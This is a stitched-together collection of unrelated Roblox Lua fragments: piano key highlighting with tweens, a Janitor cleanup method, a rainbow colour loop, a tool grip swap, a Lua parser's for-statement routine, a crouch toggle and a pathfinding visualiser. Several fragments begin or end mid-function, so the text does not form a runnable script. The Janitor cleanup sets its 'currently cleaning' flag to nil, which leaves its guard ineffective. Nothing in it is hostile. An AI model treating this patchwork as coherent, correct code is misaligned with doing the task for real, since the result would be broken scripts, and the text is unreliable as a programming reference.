coroutine.resume(coroutine.create(Tween),v,Properties,.5,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) end Properties = {} return end function Shutdown() blocker.Transparency = 1 blocker.CanCollide = false local Display = Important.Display local Properties = {} Properties.Transparency = 1 for i,v in pairs(SynthesiaKeys) do coroutine.resume(coroutine.create(Tween),v,Properties,.4,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) end Properties = {} Properties.Color = Color3.fromRGB(88, 88, 88) Tween(Display,Properties,.4,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) Properties = {} return end function SynthesiaSend(note1) local Properties = {} local Sending local Key if IsBlack(note1) then Sending = Piano.Case.BlackModel:Clone() else Sending = Piano.Case.WhiteModel:Clone() end Sending.Transparency = 0 Key = Piano.Keys.Keys:FindFirstChild(note1) Sending.Position = Key.Position Sending.Orientation = Key.Orientation Sending.Parent = Piano.Keys Properties.Position = Sending.Position + Vector3.new(0,4.9,0) Tween(Sending,Properties,.7,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) Properties = {} Sending:Destroy() return end function HighlightPianoKey(note1,transpose) if not Settings.KeyAesthetics then return end local octave = math.ceil(note1/12) local note2 = (note1 - 1)%12 + 1 local KeyboardKeys = Important.KeyboardKeys coroutine.resume(coroutine.create(SynthesiaSend),note1) local key = UnDigify(note1) if not string.match(key,"%a") and not string.match(key,"%d") then if key == "!" then key = "1" elseif key == "@" then key = "2" elseif key == "$" then key = "4" elseif key == "%" then key = "5" elseif key == "^" then key = "6" elseif key == "*" then key = "8" elseif key == "(" then key = "9" end elseif string.match(key,"%a") then key = string.upper(key) end if KeyboardKeys:FindFirstChild(key) then key = KeyboardKeys:FindFirstChild(key) local Properties = {} if IsBlack(note1) then Properties.Color = Color3.fromRGB(170, 243, 136) Tween(key,Properties,.15,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) Properties = {} else Properties.Color = Color3.fromRGB(131, 238, 243) Tween(key,Properties,.15,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) Properties = {} end Properties.Color = Color3.fromRGB(237, 234, 234) --goes back to white Tween(key,Properties,.15,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false) Properties = {} end return end
--[=[ Calls each Object's `MethodName` (or calls the Object if `MethodName == true`) and removes them from the Janitor. Also clears the namespace. This function is also called when you call a Janitor Object (so it can be used as a destructor callback). ```lua Obliterator:Cleanup() -- Valid. Obliterator() -- Also valid. ``` ```ts Obliterator.Cleanup() ``` ]=]
function Janitor:Cleanup() if not self.CurrentlyCleaning then self.CurrentlyCleaning = nil for Object, MethodName in pairs(self) do if Object == IndicesReference then continue end if MethodName == true then Object() else local ObjectMethod = Object[MethodName] if ObjectMethod then ObjectMethod(Object) end end self[Object] = nil end local This = self[IndicesReference] if This then table.clear(This) self[IndicesReference] = {} end self.CurrentlyCleaning = false end end
---------------------
while true do script.Parent.Color = Color3.new(255/255,0/255,0/255) for i = 0,255,10 do wait() script.Parent.Color = Color3.new(255/255,i/255,0/255) end for i = 255,0,-10 do wait() script.Parent.Color = Color3.new(i/255,255/255,0/255) end for i = 0,255,10 do wait() script.Parent.Color = Color3.new(0/255,255/255,i/255) end for i = 255,0,-10 do wait() script.Parent.Color = Color3.new(0/255,i/255,255/255) end for i = 0,255,10 do wait() script.Parent.Color = Color3.new(i/255,0/255,255/255) end for i = 255,0,-10 do wait() script.Parent.Color = Color3.new(255/255,0/255,i/255) end end
------------------------------------------------------------------------ -- stuff
do script.Parent.Equipped:connect(function() if player == nil then player = game.Players:GetPlayerFromCharacter(script.Parent.Parent) end if character == nil or character.Parent == nil then character = script.Parent.Parent humanoid = character.Humanoid isR15 = humanoid.RigType == Enum.HumanoidRigType.R15 rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm") end local getWeld = rightHand:WaitForChild("RightGrip") local motor = Instance.new("Motor6D") motor.Name = motorName motor.Part0 = getWeld.Part0 motor.Part1 = getWeld.Part1 --motor.C0 = getWeld.C0 --motor.C1 = getWeld.C1 getWeld:Destroy() motor.Parent = rightHand end) end
-- declarations
local Figure = script.Parent local Head = Figure:WaitForChild("Head") local Humanoid = Figure:WaitForChild("NPC") local regening = false
------------------------------------------------------------------------ -- initial parsing for a for loop, calls fornum() or forlist() -- * used in statements() ------------------------------------------------------------------------
function luaY:forstat(ls, line) -- forstat -> FOR (fornum | forlist) END local fs = ls.fs local bl = {} -- BlockCnt self:enterblock(fs, bl, true) -- scope for loop and control variables luaX:next(ls) -- skip `for' local varname = self:str_checkname(ls) -- first variable name local c = ls.t.token if c == "=" then self:fornum(ls, varname, line) elseif c == "," or c == "TK_IN" then self:forlist(ls, varname) else luaX:syntaxerror(ls, self:LUA_QL("=").." or "..self:LUA_QL("in").." expected") end self:check_match(ls, "TK_END", "TK_FOR", line) self:leaveblock(fs) -- loop scope (`break' jumps to this point) end
--
end else print("sh") end else print("arms") end end function Key(key) if key then key = string.lower(key) if (key=="v") then if on == 1 then on = 0 elseif on == 0 then on = 1 end Crouch(on) end end end function Equip(mouse) mouse.KeyDown:connect(Key) end script.Parent.Equipped:connect(Equip)
--[[ @param Path Path The Path-object we want to visualize @return Model DrawnPath Returns the model containing the drawn path --]]
function Pathfinder:DrawPath(Path) assert(Path and Path.Status == Enum.PathStatus.Success, "Pathfinder:DrawPath(Path) requires a valid Path!") self:DestroyDrawnPath() -- Generate new path visuals local container = self._DrawnPath or Instance.new("Model") container.Name = "Pathfinder_Path" for index, waypoint in pairs(Path:GetWaypoints()) do local p = Instance.new("Part") p.Name = string.format("Waypoint_%d", index) p.Anchored = true p.CanCollide = false p.Size = Vector3.new(1,1,1) p.CFrame = CFrame.new(waypoint.Position) p.BrickColor = waypoint.Action == Enum.PathWaypointAction.Jump and BrickColor.Blue() or BrickColor.Gray() p.Parent = container end container.Parent = workspace self._DrawnPath = container return container end function Pathfinder:DestroyDrawnPath() if self._DrawnPath then self._DrawnPath:ClearAllChildren() end end